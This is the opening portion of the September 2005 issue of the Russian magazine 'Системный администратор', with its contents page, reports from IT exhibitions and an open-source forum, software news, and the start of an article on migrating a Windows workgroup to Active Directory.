ТР О ТИ РАС РА КУ Ж ПИ
НИ НО КУ ВО ЛЫ ГО ЗА ДНИ ТЯ Е НУ ЛИ
ЛИ
СЬ
Так видит журнал читатель, который забыл оформить подписку:
КО НЕО НЧ ЖИ ИЛ ДА ИС НН ЬД О ЕН ЬГ И
Клонируем Windows с помощью Symantec Ghost Подключаем сетевые ресурсы в автоматическом режиме
ЗА
ПО АВ СЛ РА Е О Л НА ТПУ РА СКА БО ТЕ
УЕ ХА Л
ВО ТП
УС К
КА
БЫ С
№9(34) сентябрь 2005 подписной индекс 81655 www.samag.ru
Active Directory Directory вместо рабочей группы
Так видит журнал читатель, оформивший подписку:
Устойчива ли ваша сеть? WHoppix проверит! Как спасти данные, если отказал жесткий диск «Бритва» для спама: обзор анализатора Razor
ПОДПИШИТЕСЬ И ЧИТАЙТЕ! Роспечать – 81655 Пресса России – 87836 Интер-почта – тел. (095) 500-00-60
№9(34) сентябрь 2005
Все ли возможности ClamAV вы используете? Протокол SILC обеспечит вам безопасную конференц-связь Аккуратная настройка SSI
оглавление 2 РЕПОРТАЖ 7 ТЕНДЕНЦИИ АДМИНИСТРИРОВАНИЕ 8 Домены Windows 2000/2003 – отказываемся от рабочей группы
Как безболезненно перейти к доменной структуре. Роман Марков stepan-razin@newmail.ru
12 Symantec Ghost, или Как сделать клон своими руками
Эффективно управляем рабочими станциями. Михаил Платов platov@cs.vsu.ru
20 Подключаем сетевые ресурсы в автоматическом режиме
Создаем скрипт для интеллектуального управления сетевыми дисками. Иван Коробко ikorobko@prosv.ru
28 Управляем удаленными базами AIDE Часть II – AIDEstart
Скрипт AIDEStart очень пригодится вам для запуска AIDE на взломанной или поврежденной машине. Рашид Ачилов shelton@granch.ru
32 Создаем загружаемый Flash-диск с FreeBSD и DOS. Часть I
Методика создания образа своими руками. Рашид Ачилов shelton@granch.ru
42 Организуем доступ в Интернет с использованием биллинговой системы FreeNIBS
Система доступа к Сети с гибким инструментом администрирования. Евгений Литвиненко evg_ltv@mail.ru
46 «Бритва» для спама
Обзор сигнатурного анализатора Razor. Сергей Супрунов amsand@rambler.ru
48 Настраиваем основные компоненты почтового сервера
Связка Postfix + MySQL + Courier-IMAP + fetchmail + SquirrelMail. Евгений Литвиненко evg_ltv@mail.ru
62 Устойчива ли ваша сеть? Проверьте с помощью WHoppix!
LiveCD-дистрибутив WHoppix поможет протестировать систему на устойчивость к сетевым вторжениям. Илья Александров ilya_al@rambler.ru
68 Определяем уязвимость веб-сервиса с помощью Acunetix Web Vulnerability Scanner
Протестируйте свой веб-сайт на наличие слабых мест. Сергей Яремчук grinder@ua.fm
WEB 70 Аккуратная настройка SSI
Оптимизации SSI уделяется очень мало внимания. Сегодня мы восполним этот пробел. Алексей Мичурин alexey@office-a.mtu-net.ru
СЕТИ 76 Протоколы сетей хранения данных Часть I – ATA over Ethernet
Первая статья из цикла о протоколах SAN-сетей. Антон Борисов a.borisov@tesv.tmb.ru
HARDWARE-ПРАКТИКУМ 80 Как спасти данные, если отказал жесткий диск
Ремонт и востановление жестких дисков. Крис Касперски kk@sendmail.ru
РЕТРОСПЕКТИВА 88 С чего начинался российский Интернет
Наша история: первые десять лет развития русского сегмента Сети. Алексей Коршунов akeeper@akeeper.ru
КНИЖНАЯ ПОЛКА 92 Обзор книжных новинок Александр Байрак x01mer@pisem.net
19, 27, 31, 41
BUGTRAQ
БЕЗОПАСНОСТЬ 52 Все ли возможности ClamAV вы используете?
Функциональность ClamAV гораздо шире, чем простое сканирование файлов на вирусы. Авраменко Андрей liks@altlinux.ru
Все на
подпи ску-20 06!
56 Протокол SILC обеспечит вам безопасную конференц-связь
Организуем безопасное общение по незащищенным каналам. Сергей Яремчук grinder@ua.fm
№9, сентябрь 2005
1
репортаж
В ПОСЕЛКЕ АРХЫЗ УСПЕШНО ПРОШЕЛ OPEN SOURCE FORUM 2005
С 15 по 17 сентября в посёлке Архыз состоялся Open Source Forum 2005. Его организаторы – ITX Community совместно с Северо-Кавказской группой пользователей Linux (NC LUG) уже второй год собирают специалистов, связанных с движением Open Source. Участники форума получили возможность не только обменяться опытом разработки и внедрения открытых решений, обсудить последние события в мире информационных технологий, но и пообщаться с единомышленниками в неформальной обстановке. Да и просто хорошо отдохнуть в экологически чистом, живописном уголке России на высоте 1470 метров над уровнем моря, вдали от цивилизации.
М
ожно считать, что форум начал свою работу еще в Ростове-на-Дону, за несколько часов до отъезда в п. Архыз. Ожидание автобуса как-то незаметно перетекло в дебаты о различных дистрибутивах Linux и подобные темы. Да и в самом автобусе споры не прекращались почти до самого пансионата. По различным причинам в Архыз съехалось заметно меньшее количество участников, чем было зарегистрировано, тем не менее были представлены многие регионы России (Москва, Рязань, Каменск-Уральский, Уренгой и др.), так что OSF’05 можно совершенно обоснованно назвать всероссийским мероприятием. Первый официальный день работы форума начался с выступлений организаторов и спонсоров. Президент ITX
2
Community Артем Солодченко пояснил цели и задачи, которые организация ставит перед собой, проводя OSF. Представитель консалтинговой службы Novell Виталий Сайфуллин рассказал присутствующим о взглядах Novell на движение Open Source, а также продемонстрировал SUSE Linux Enterprise Server 9. В дальнейшую работу форума по техническим причинам (пансионат остался на несколько часов без электричества) были внесены некоторые коррективы, и первые доклады участников проходили прямо под открытым небом, что сделало общение еще более неформальным. Практически каждое выступление вызывало неподдельный интерес и порождало настолько горячие и продолжительные споры, что организаторы уже и не пытались вернуть участников в рамки регламента.
репортаж Диапазон тем, затронутых выступающими, был весьма широк: от вопросов использования бездисковых терминалов в локальных сетях предприятий и преимуществ FreeBSD-шлюза перед решениями на базе Windows до прикладных аспектов безопасности операционных систем и проблем лицензирования ПО. Второй день начался с экскурсии на Софийские водопады. Каждый горел желанием совершить хотя бы небольшое восхождение, так что рабочая часть была отодвинута на вечер. Началась она с выступления Дениса Сосновцева (IBM, Центр компетенции Linux), рассказавшего присутствующим о поддержке компанией IBM движения Open Source, а также представившего разработку IBM Workplace. По мнению представителя IBM, Linux не должен повторить судьбу UNIX, разбившись на несколько десятков независимых проектов. Тем не менее в компании видят необходимость сохранить для конечных пользователей возможность выбора между несколькими поставщиками решений. Слушание докладов, уже «при поддержке» проектора, продолжалось почти до полуночи. Этот день можно назвать днем разработчиков – основная доля выступлений касалась конкретных решений. Были представлены примеры трехзвенных приложений на базе Mozilla, один из разработчиков RTK Linux рассказал об особенностях этого дистрибутива. Обсуждение каждого доклада по-прежнему стремилось затянуться на неопределенный срок. Последний день был посвящен оставшимся докладам и завершающим выступлениям. Наибольший интерес привлек доклад Николая Кривченкова (Рязанский LUG) на тему «Система оптического распознавания для Linux». Помимо огромной работы собственно по разработке системы автор представил и потрясающий по качеству видеоматериал, который сделал доклад ярким и незабываемым. По дороге домой кое-где в автобусе еще продолжались споры о том, насколько «тонкими» должны быть клиенты, о преимуществах и недостатках Slackware и т. п. Было очевидно, что форум удался… В целом можно сказать, что задачи, поставленные перед форумом, были полностью выполнены. Всего было заслушано 11 докладов, и каждый увозил домой не только массу полезной информации, множество свежих идей и подарки от спонсоров, но и самые лучшие впечатления от замечательной природы, общения с хорошими людьми, а также желание еще глубже окунуться в необъятный и полный возможностей мир Open Source. Спонсорами форума выступили компании IBM и Мегафон, техническую и информационную поддержку оказала компания Novell, порталы OpenNET, nixp.ru, журнал «Системный администратор», представительство D-Link в Ростове-на-Дону и ряд других компаний и организаций. Хочется поблагодарить организаторов и всех, кто поддержал идею проведения данного мероприятия, за прекрасно (а главное – с пользой) проведенное время, и выразить надежду, что в следующем году форум пройдет с еще большим размахом. Ну а мы будем следить за новостями на сайте проекта: www.itx.ru.
Сергей Супрунов Фото автора
№9, сентябрь 2005
Ростов-на-Дону, перед отъездом
Дмитрий Яценко – координатор проекта
Д. Сосновцев (Центр компетенции Linux, IBM): «Мы черпаем вдохновение в свободном ПО и все больше и больше в него втягиваемся»
Экскурсия к водопадам
3
репортаж
ТРИ СПЕЦИАЛИЗИРОВАННЫЕ ВЫСТВКИ ОДНОВРЕМЕННО ПРОШЛИ В ГОСТИНОМ ДВОРЕ Сентябрь в этом году выдался «урожайным» на выставки. С 7 по 9 сентября в самом центре столицы, на Ильинке, в выставочном комплексе «Гостиный Двор» прошли сразу три выставки – первая в России Международная специализированная выставка-конференция LinuxWorld Russia 2005, а также Infosecurity Russia и StorageExpo.
О
сутствовал даже стенд от абсолютно некоммерческого проекта – свободной ReactOS. Среди участников можно назвать IBM, Red Hat, Oracle, Intel, Novell, R-Style, ALT Linux, ASPLinux, Линукс Инк, Инвента, Linuxcenter.Ru, Naumen. Наибольшее оживление царило у стенда компании Linuxcenter.Ru. Впрочем, это и неудивительно – помимо того, что данный стенд был единственным мини-магазином на выставке, где можно было приобрести с десяток разных дистрибутивов ОС Linux и различную атрибутику, компания представляла общественности сразу две новинки. Это новый ежемесячный переводной журнал, целиком посвященный ОС Linux – LinuxFormat, и вторая новинка – представленный совместно с питерским ветераном российского рынка свободного ПО – Линукс Инк дистрибутив Scientific Linux 4.1 Cyrilic Edition, обзор которого вы сможете прочесть в следующем номере нашего журнала. Говоря о русифицироНа стенде журнала – исполнительный директор ванных дистрибутивах, неВладимир Положевец и автор Андрей Маркелов
рганизаторами выступили выставочное объединение «Рестэк» совместно с компанией Reed Exhibitions и IDG World Expo. Стенды LinuxWorld занимали не треть, а визуально не более одной пятой площади. Тем не менее на выставке было представлено большое число как отечественных, так и зарубежных компаний, занимающихся бизнесом, связанным с Linux и Open Source. При-
4
льзя не упомянуть о сделанном на выставке заявлении вице-президента Red Hat по международным продажам о том, что Red Hat начинает официальную поддержку русского языка в Red Hat Enterprise Linux и предоставит своим клиентам официальную поддержку на русском языке. Возможно, этот шаг необходимо было сделать несколько раньше – это бы поспособствовало большей популярности данного дистрибутива корпоративного уровня. Пока же на территории России поддержку на русском языке осуществляли московская «Инвента» и «Линукс Инк» из Санкт-Петербурга. Достаточно интересной была демонстрация открытой операционной системы ReactOS. Данная ОС, разрабатываемая в рамках проекта Open Source, совместима с приложениями и драйверами линейки ОС Windows NT. Коллектив разработчиков тесно взаимодействует с проектом Wine – осуществляется взаимовыгодный обмен кодом. На выстаке была продемонстрирована уже стабильно работающая реализация стека TCP/IP. В ближайшее время планируется добиться стабильной работы пакета MS Office и бухгалтерских програм разработки 1С. Из примерно 25 разработчиков ReactOS трое – наши соотечественники. ReactOS распространяется
репортаж по лицензии GNU и доступна для загрузки всем желающим на сайте http:// www.reactos.com. Будем надеяться, что и в следующем году LinuxWorld распахнет двери посетителям, и представит множество интересных новинок. В этом году выставка Infosecurity прошла при поддержке аппарата Совета безопасности РФ, Федеральной службы по техническому и экспортному контролю РФ, Федерального агентства по информационным технологиям РФ, Федеральной службы безопасности России, МОО «Ассоциация Защиты Информации». Приняли участие крупнейшие производители и поставщики, такие как – Aladdin Software Security R.D., Cisco Systems, Check Point Software Technologies Ltd., IBM, Internet Security Systems, McAfee, Nortel, Sun Microsystems, Symantec, Trend Micro, ДиалогНаука, ИНФОРМЗАЩИТА, Лаборатория Касперского, ЭЛВИС-ПЛЮС, а также крупнейшие дистрибьюторы и интеграторы – АМТ Груп, Инфосистемы Джет, TopsBI, Группа компаний КомпьюЛинк, Корпорация ЮНИ, ЛАНИТ, ТехноСерв.
Отличительной особенностью стала насыщенная конференционная программа: 4 «круглых стола», 8 секционных заседаний, 17 программных выступлений и 33 семинара компанийучастников выставки прошли одновременно в четырёх конференц-залах. Storage Expo Russia является преемницей серии выставок Storage Expo, успешно проводимых компанией Reed Exhibitions в 10 странах мира (www. storage-global.com). Были представлены новые решения по хранению данных от крупнейших производителей и поставщиков, таких как Adaptec, Cisco Systems, EMC Computer Systems, Hitachi Data Systems, Hewlett-Packard, IBM, Network Appliance, Sony, StorageTek, Sun Microsystems, Symantec, Электронный архив, а также крупнейших дистрибьюторов и интеграторов – АМТ Груп, Инфосистемы Джет, КРОК, ТехноСерв, INLINE Technologies, Kraftway, TopsBI и другие. Можно сказать, что все три выставки удались, и каждый из посетителей мог найти что-то интересное для себя.
Андрей Маркелов
Никлаус Вирт выступил с лекцией в Москве
21 сентября в Московском Политехническом музее прошла лекция знаменитого ученого с мировым именем, профессора Высшей Политехнической школы ETH г. Цюриха, «отца структурных языков программирования» Никлауса Вирта (Niklaus Wirth). Его приезд в Россию был приурочен к празднованию 250-летия МГУ им. Ломоносова и 150-летию швейцарского ETH. Лекция называлась «История и перспективы языка Оберон». В лекции профессор кратко рассказал о истории создания языка Оберон. Путь к Оберону лежал через языки программирования Паскаль и Модула-2, автором которых также является Вирт. По окончании лекции, отвечая на вопросы слушателей, профессор поделился некоторыми интересными замечаниями, напрямую не относящимися к теме доклада. Например, собравшиеся в аудитории могли узнать, что Вирту не нравится термин ООП «наследование», поскольку, как он сказал, «наследуют обычно, когда кто-то умер». Также профессор пожелал российским коллегам поменьше оглядываться на США и не копировать вслепую американскую модель ценностей, что, как он заметил, происходит сейчас.
Андрей Маркелов Фото автора
ан
он
с
Площадка Infosecurity
27-28 октября
Конференция для разработчиков программного обеспечения Software Engineering Conference (Russia)
Основные темы, которые будут представлены на конференции, – последние технологии в сфере разработки ПО, управление процессами разработки ПО, управление человеческими ресурсами. Предполагаемая аудитория конференции – более 700 специалистов в области разработки ПО из России и стран СНГ, а также приглашенные гости и «гуру» из США и Европы. Конференция для разработчиков программного обеспечения SEC(R) будет проходить в Москве, в Международном информационно-выставочном центре «ИнфоПространство». Регистрация участников на сайте конференции: http://secr.ru.
№9, сентябрь 2005
5
репортаж
ИТОГИ ВЫСТАВКИ SOFTOOL 2005 Вслед за LinuxWorld Russia 2005 в конце сентября в Москве уже в шестнадцатый раз посетителям открыла двери крупнейшая в России ежегодная Международная выставка информационных технологий SofTool 2005.
К
аждый год SofTool собирает практически все болееменее известные российские и зарубежные компании, работающие в сфере IT, представляющие на стендах свои новые достижения за прошедший год. В этом году под крышей просторного павильона их собралось более трех сотен. Мероприятие традиционно проводится при поддержке Российской академии наук, Федерального Агентства по промышленности, Федерального Агентства по науке и инновациям, Федерального Агентства по информационным технологиям и Правительства Москвы. Из самых крупных и известных компаний, принявших участие в выставке, можно назвать ABBYY Software House, IBM, Intel, Microsoft, фирма 1С, АйТи, АСКОН, Гарант, Консультант Плюс, Корпорация Галактика, Лаборатория Касперского, Корпорация Парус и многие другие. На отдельных площадках выставки был развернут целый ряд специализированных экспозиций. Так, в рамках «Мира Академии» свои разработки представили более десяти научных институтов Российской академии наук. Секция под названием «DocFlow» знакомила посетителей с решениями по автоматизации управления и системами электронного документооборота. На втором этаже была развернута экспозиция «САПР’экспо–2005». Как следует из названия, она была посвящена системам автоматизированного проектирования. В течение всего времени работы выставки SofTool 2005 проводилась специализированная экспозиция – LinuxLand (www.linuxland.ru). Ее организаторами выступили компании Линуксцентр и Линукс Инк. Как легко понять из назва-
16 лет – солидный возраст для IT-выставки. SofTool всё это время сохраняет свою актуальность
6
ния, это мероприятие было целиком и полностью посвящено Linux и Open Source. По замыслу организаторов (который, впрочем, был реализован в полной мере), предполагалось собрать под одной крышей различных производителей и поставщиков решений для открытой ОС: ASPLinux, MOPSLinux, Smart Software, EterSoft, Linux Format, LYNX Education Center, Linux Ink и CITKIT. Кроме традиционных стендов и демо-зоны, участники выставки могли посетить конференцию или тематические мастер-классы: «Бизнес и Linux», «Информационная безопасность», «Linux в образовании», «Технологические горизонты». На конференции прозвучали доклады как от лидеров индустрии (IBM, HP, Novell, Vdel Ltd./Red Hat), так и самостоятельных разработчиков. Настоящий шквал вопросов вызвала презентация Алексея Брагина, представившего ReactOS – свободную реализацию операционной системы, совместимой с Microsoft Windows на уровне драйверов и прикладных программ. Неизменной популярностью среди посетителей пользовались и мастер-классы, которые часто проходили в «интерактивном» режиме. В частности, компания R-Style развернула сервер HP Proliant DL380 прямо в конференц-зале и не на словах, а на деле доказала легкость и простоту настройки и использования решений на базе HP/Linux. Интерес вызывали и матер-классы, посвященные LiveCD Knoppix 3.7 RE (секция «Linux в образовании»), новой системе борьбы с нежелательной корреспонденцией, доклад об Asterisk Дениса Смирнова и другие. Можно сказать, что экспозиция прошла удачно. Система 1С:Предприятие, работающая под управлением Linux и демонстрируемая в режиме он-лайн на стенде Etersoft, собирала вокруг себя множество заинтересованных. Многие люди приходили на LinuxLand не только затем, чтобы приобрести (или получить в подарок) какие-либо продукты, но и для того, чтобы поговорить с разработчиками, задать вопросы и получить на них ответы. По сравнению с предыдущими выставками SofTool, не имевшими специализированной экспозиции, посвященной Open Source, можно отметить значительное уменьшение числа «случайных прохожих», то есть людей, случайно заглянувших на стенд. Большая часть посетителей Linux Land приходила целенаправленно на эту экспозицию, а некоторые с мастерством истинных ценителей – на определенный мастер-класс. Поэтому, несмотря на определенные (кто-то может сказать – неизбежные для премьеры) технические накладки, можно сказать, что LinuxLand удался. Хочется надеяться, что это мероприятие станет первым в длинной череде экспозиций, посвященных Linux и продвижению открытых технологий в России!
Андрей Маркелов, Валентин Синицын Фото Юрия Афанасьева
тенденции OpenOffice.org переходит на GNU LGPL Компания Sun Microsystems объявила об отказе от лицензии Sun Industry Standard Source License (SISSL), в связи с чем с SISSL прощаются и все открытые проекты Sun, ранее использовавшие эту лицензию. Продукты Open Source, практиковавшие схему двух лицензий, одной из которых была SISSL, перешли к упрощению своей схемы лицензирования. Так, например, все релизы OpenOffice.org, что будут (и были) выпущены после выхода 2.0 Beta 2, распространяются только на условиях GNU LGPL. Первой ласточкой стал OOo 2.0 RC1, анонсированный в конце сентября.
Противоречия в Mambo привели к появлению Joomla Группа разработчиков из проекта по созданию открытой CMS – Mambo – обнародовала собственную версию системы под названием Joomla. Релиз Joomla 1.0 основан на Mambo 4.5.2.3, в него добавлены исправления ошибок и уязвимостей в безопасности. Так же, как и Mambo, Joomla распространяется под лицензией GNU GPL. Разногласия в проекте Mambo возникли в августе, когда разработчики отделились от компании Miro International, что основала Mambo, а позже превратила его в источник доходов. Почву для противоречий заложили вопросы управления ПО и контролирования интеллектуальной собственности. Для этой задачи компанией Miro была учреждена организация Mambo Foundation, однако разработчики заявили, что реальный контроль сохранила за собой компания.
Firefox скачали 90 миллионов раз
ряна или украдена», – прокомментировал Петер Ларссон, исполнительный директор Pointsec Mobile Technologies.
KNOPPIX вновь доступен и на LiveCD Вышедший во второй половине сентября очередной релиз KNOPPIX – 4.0.2 – ознаменовал собой возврат к поддержке редакции этого Linux-дистрибутива для LiveCD, а не только LiveDVD, как это было с двумя предыдущими версиями. Кроме того, в KNOPPIX 4.0.2 проведены обновления пакетов xserver-xfree86, xlibs, mozillafirefox и unionfs (до 20050921-1507), исправлены некоторые опции загрузки, а на DVD добавлены freemind, Debian Anwenderhandbuch V3.0, amarok 1.2.4.
DragonFly BSD переходит на pkgsrc Мэтт Диллон в почтовой рассылке пользователей DragonFly объявил о том, что в следующем релизе ОС DragonFly BSD официальной системой управления пакетами будет pkgsrc. Система пакетов NetBSD придет на смену «dfports» (версия портов FreeBSD с исправлениями для DragonFly). Именно pkgsrc, а не dfports разработчики предпочитали использовать последние месяцы, так что переход стал вполне логичным звеном эволюции DragonFly BSD. Система pkgsrc портируема, разработана NetBSD и официально поддерживается проектом DragonFly с октября 2004 года. Позже на молодую BSD-платформу был портирован код стека беспроводных устройств из ОС FreeBSD.
Составил Дмитрий Шурупов по материалам www.nixp.ru
20 сентября (в 09:33:58 по Гринвичу) количество закачек открытого веб-браузера Firefox достигло отметки в 90 миллионов раз. Таким образом, до достижения заветных 100.000.000 скачиваний за первый год с момента выхода Firefox 1.0 (9 ноября 2004) осталось преодолеть последнюю десятую часть пути.
Появилась бета-версия Firefox 1.5 В начале месяца был представлен первый бета-релиз Firefox 1.5 (Deer Park), среди новшеств которого можно выделить систему автоматического обновления, улучшенную блокировку всплывающих окон, усовершенствованную поддержку Mac OS X, возможности DnD для вкладок. Финальный релиз Firefox 1.5 ожидается позже в этом году.
Pointsec анонсировала «полнодисковое шифрование» для Linux Компания Pointsec представила свой программнный продукт для конечного Linux-пользователя, реализующий технологию FDE (full disk encryption, «полнодисковое шифрование»), защищающую все данные на жестком диске. По словам производителя, Pointsec for Linux предназначен для «крупных технологических и телекоммуникационных корпораций, нуждающихся в защите интеллектуальной собственности, хранимой на настольных компьютерах и лаптопах». «Мы наблюдаем растущий мировой спрос на шифрование данных на конечном оборудовании, таком, как ноутбуки, со стороны многих индустрий, т.к. компании осознают угрозу для информации, хранимой на их ПК, что может быть уте-
№9, сентябрь 2005
7
администрирование
ДОМЕНЫ WINDOWS 2000/2003 – ОТКАЗЫВАЕМСЯ ОТ РАБОЧЕЙ ГРУППЫ
РОМАН МАРКОВ Что делать, когда ваша сеть, сконфигурированная в качестве рабочей группы Windows, перестала удовлетворять требованиям управляемости и удобной масштабируемости? Ответ один – переходить на Active Directory! Однако прежде чем начинать подобный проект, необходимо хорошо знать все его нюансы.
Т
енденция быстрого роста локальных сетей небольших компаний наблюдается в наши дни повсеместно. Сначала это два-три компьютера для бухгалтерии, затем еще по одному для директора, его заместителя, секретаря, нескольких менеджеров и т. д. Через какое-то время их количество опять увеличивается, так как
8
штат сотрудников расширяется. Однако изначально все эти компьютеры являются членами рабочей группы, в которой каждый участник равноправен. Администрировать такую сеть становится неудобно, так как понятия «централизованное управление» и «рабочая группа» являются взаимоисключающими.
Именно в этот момент вам приходится принимать решение о переходе к доменной структуре (Active Directory). С какими трудностями вам придется столкнуться в первую очередь? Что необходимо предусмотреть заранее, чтобы процесс перехода прошел без сучка и задоринки? Сегодня я попытаюсь обобщить свой опыт подоб-
администрирование ных внедрений, чтобы заранее облегчить вашу задачу.
План перехода к Active Directory Для реализации подобного перехода необходимо заранее составить план своих действий. Наибольшей производительности своего труда вы достигнете, выполняя все настройки в нерабочее время. Оптимальным решением является использование выходных дней, так как при количестве рабочих станций более 5-7 за один вечер завершить перевод скорее всего не удастся. Необходимо помнить о том, что любые работы по глобальной перенастройке системы могут занять в несколько раз больше времени, чем планировалось. Поэтому вы должны быть уверены в том, что расчетное время завершения всех работ в два(!) раза меньше имеющегося в наличии. В противном случае вы рискуете получить неработоспособную систему в момент выхода пользователей на работу. Роль контроллера домена (далее КД) лучше доверить выделенному для этих целей компьютеру (серверу). Понятие «выделенный» в данном случае означает, что никто не должен использовать его в качестве рабочей станции. Эта рекомендация известна всем, но тем не менее еще раз напоминаю об этом. Для несения роли КД для 10-30 рабочих станций и такого же количества пользователей подойдет любой компьютер, удовлетворяющий требованиям ОС Windows Server – нагрузка на него при таких условиях будет невелика. Вполне достаточно следующей конфигурации: Celeron-700, 256 RAM, 10 HDD. Однако не стоит забывать, что даже в небольших сетях должна обеспечиваться отказоустойчивость, поэтому КД в домене должно быть более одного. Акцентирую ваше внимание на том, что данная статья не является технической инструкцией по настройке контроллера домена, введению в домен рабочих станций, заведению учетных записей пользователей и пр. Об этом вы можете прочитать в [1], где вы найдете советы по планированию перехода от рабочей группы к домену. Следующий этап – подготовка сервера и клиентских рабочих мест. Для того чтобы сделать переход к до-
№9, сентябрь 2005
менной структуре абсолютно прозрачным для пользователей, необходимо создать и заполнить анкеты для каждого рабочего места локальной сети. Если за одним компьютером работают несколько пользователей, использующих различные учетные записи (или программное обеспечение), то такую анкету должен заполнить каждый из них. Форма может быть произвольной, главное, чтобы были заполнены требуемые поля. Это: имя компьютера в сети, ФИО пользователя, имя его учетной записи, пароль, используемые программы, расположение рабочих документов и пр. Пример заполненной анкеты приведен на рис. 1. Обяжите каждого пользователя сети заполнить подобную табличку перед началом модернизации. Эту процедуру полезно выполнять перед любыми действиями по переконфигурированию пользовательских компьютеров – после переустановки системы вы восстанавливаете все, что попросил пользователь. Если он об этом в данном отчете не упомянул – значит, вы тем более не могли знать, чем он пользуется. Главное провести правильную предварительную беседу, рассказав, для чего необходимо заполнять такую карточку и что вы не будете нести ответственности за те данные, которые не были описаны. Конечно, такой подход более применим к внедренческим фирмам и не всегда возможен для штатного сотрудника, однако он зарекомендовал себя с лучшей стороны. Иначе – в случае потери данных виноватым всегда окажется системный администратор, который должен был на астральном уровне догадаться, что пользователи хранят все документы в корзине! Поверьте – я не фантазирую – это реальная история из опыта нашей фирмы. Сотрудник, приехавший по заявке клиента о нехватке на диске свободного места, первым делом очистил корзину. Оказалось, что бухгалтер хранил в ней все документы. На вопрос: «Как же вы их сохраняли?!» последовал невозмутимый ответ: «Сохраняла на рабочем столе и перетаскивала». Внимательно отнеситесь к бухгалтерским рабочим станциям – как правило именно они изобилуют «нестандартными» программами, такими как Банк-клиенты и специализированные программы налоговой отчетности. За-
Рисунок 1. Подобную анкету должен заполнить каждый пользователь
ранее проконсультируйтесь с технической поддержкой производителей программ на предмет того, что именно вы должны архивировать. Некоторые такие программы защищены от копирования, поэтому после переустановки системы просто перестанут работать, что может явиться крайне критичным, так как невозможность осуществить срочный платеж через систему Банкклиент – серьезная проблема для организации. Заранее договоритесь о вызове специалиста для переустановки подобных программ.
Полезные технические подробности С технической точки зрения рекомендуется использовать на рабочих станциях операционные системы не ниже Windows 2000, так как более ранние версии систем (Windows9x/ME, Windows NT) не позволяют в полной мере распространять на них доменные политики и настройки. Поэтому при наличии возможности (технические характеристики компьютера и пр.) переустановите ОС там, где необходимо. Помните, что перед любыми подобными работами необходимо создавать архивную копию всех данных, находящихся на перенастраиваемых серверах. Опыт показывает, что нелишним будет создать архивную копию даже тех дисковых разделов, которые вы не собираетесь затрагивать в процессе работы – лучше быть спокойным за то, что все продублировано, чем «случайно» установить новую систему не в тот раздел. Конечно, такое напоминание многим может показаться излишним – ведь это и «само собой разумеется». К сожалению, практика показывает, что даже опытные специалисты иногда игнорируют это правило,
9
администрирование желая сэкономить время (действительно, процесс архивации данных – самый длительный и утомительный). Перед основным этапом работ проверьте следующее: ! Должна быть сделана полная копия всех рабочих данных с сервера. Их необходимо хранить отдельно, на носителе, который вообще никак не участвует в рабочем процессе. После архивирования проведите процедуру контрольного восстановления – не всегда удается скопировать все по каким-либо причинам (права доступа и пр.) Хорошей проверкой на полноту архивации является перемещение, а не копирование файлов – тогда после завершения процедуры на источнике не должно остаться исходных данных. Если что-то осталось – проверьте, скопировалось ли на резервный носитель. Если есть возможность, сделайте две копии – одну на любую рабочую станцию в сети, имеющую необходимый объем дискового пространства, а вторую – на указанный носитель, который сразу уберите подальше. ! Наличие возле каждого рабочего места заполненных пользователями анкет, с указанием данных, которые необходимо сохранить/перенести со старой системы. Подразумевается, что вы сможете расшифровать записи пользователей, поэтому заранее проведите все уточнения. Также необходимо знать, где хранятся рабочие данные используемых пользователями программ и ОС. Будьте осторожны с такими программами, как Microsoft Outlook и Microsoft Outlook Express – их файлы данных располагаются в профилях пользователей, причем «закопаны» довольно глубоко: ! Данные Microsof t Outlook – %USERPROFILE%\Local Settings\ A p p l i c at i o n D at a \ M i c r o s o f t \ Outlook\*.pst. ! Данные Microsoft Outlook Express – %USERPROFILE%\ Local Settings\Application Data\ Identities\{< цифровой код >}\ Корпорация Microsoft\Outlook Express\*.*. ! Адресная книга: %USERPROFILE%\Application Data\Microsoft\ Address Book\*.wab.
10
! Избранное Internet Explorer:
% U S E R P R O F I L E% \ И з б р а н ное (про него часто забывают, а у пользователя может быть сохранено огромное количество ссылок). Не совсем рациональным хранением данных почтового ящика отличается и популярная почтовая программа The_BAT! – по умолчанию они хранятся в папке с самой программой. Кстати, не забывайте об использовании встроенных мастеров экспорта и импорта данных, но не вздумайте слепо им доверять – после экспорта данных всегда проверьте их импорт на «чистую» систему. ! Все необходимые драйвера для переустановки ОС на серверах и рабочих станциях. Крайне рекомендуется иметь несколько «универсальных» дисков с драйверами популярных материнских плат и устройств. ! Назначен день «X», в который никто из пользователей не будет работать. Оптимальны – два выходных дня – за один можно не успеть. При этом должен быть обеспечен пропускной режим на предприятие и доступ во все помещения с компьютерами.
Переход к Active Directory Итак, назначенный день наступил и необходимо начинать работы по созданию домена. Еще раз убедитесь, что все данные с перенастраиваемого сервера сохранены в надежном месте. Устанавливаем серверную операционную систему, обновления, проводим все первичные настройки. Создаем и настраиваем домен (подробно этот процесс многократно описан, в том числе в [1]). После проверки работоспособности домена вводим в него рабочие станции пользователей. Еще перед вводом в домен озаботьтесь их корректным именованием, применяя только латиницу, без пробелов. Русские имена не поддерживаются
DNS, а от его работоспособности зависит вся работа Active Directory. Рекомендуется сразу создать в домене первую учетную запись пользователя, рабочую станцию которого мы будем вводить в домен первой. После ввода проверяем минимальную корректность настроек – вход в домен после перезагрузки должен осуществляться не дольше 1 минуты. Если очень продолжительное время вы наблюдаете табличку «Применение параметров безопасности» – какие-то из настроек некорректны (чаще всего неправильно настроен DNS-сервер, либо не он прописан в свойствах сетевого подключения клиента). Первый вход осуществляем с учетными данными пользователя, работающего за этой рабочей станцией. В этот момент создается его профиль, который будет соответствовать профилю данной системы по умолчанию. Все предыдущие настройки останутся в старом профиле пользователя. Если имя для входа в домен не отличается от предыдущего локального имени – новый профиль будет создан с префиксом <имя домена>. Это сделано для того, чтобы не повредить предыдущие настройки. Сразу после первого входа в систему завершаем сеанс пользователя и входим уже с учетной записью администратора домена для перенесения документов и настроек из старого профиля. Заходим в папку профилей (на системах Windows 2000 и выше это папка Documents and Settings) и копируем необходимые нам элементы в новый профиль (см. рис. 2). Обратите внимание – не переносим, а именно копируем, чтобы осталась возможность воспользоваться локальным входом в систему со старыми учетными данными. Таким образом, у вас будет возможность войти в систему локально и посмотреть необходимые настройки. Например, для баз «1С:Предприятие 7.7», в большом количестве присутствующих у сотрудников бухгалтерии, достаточно сохранить один раздел реестра (HKEY_CURRENT_USER\ Software\1C\1Cv7\7.7\Titles) и затем вне-
Рисунок 2. Копирование информации из старого профиля в новый
